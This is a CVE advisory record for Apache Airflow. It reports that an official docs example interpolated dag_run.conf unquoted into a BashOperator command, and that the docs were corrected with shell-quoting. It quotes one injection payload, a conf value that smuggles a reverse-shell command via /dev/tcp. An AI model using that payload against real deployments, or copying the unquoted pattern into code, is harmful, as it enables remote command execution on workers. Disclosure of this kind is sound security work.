{"id":"CVE-2026-42252","state":"PUBLISHED","title":"Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern","description":"Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i >& /dev/tcp/.../9999 0>&1; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. 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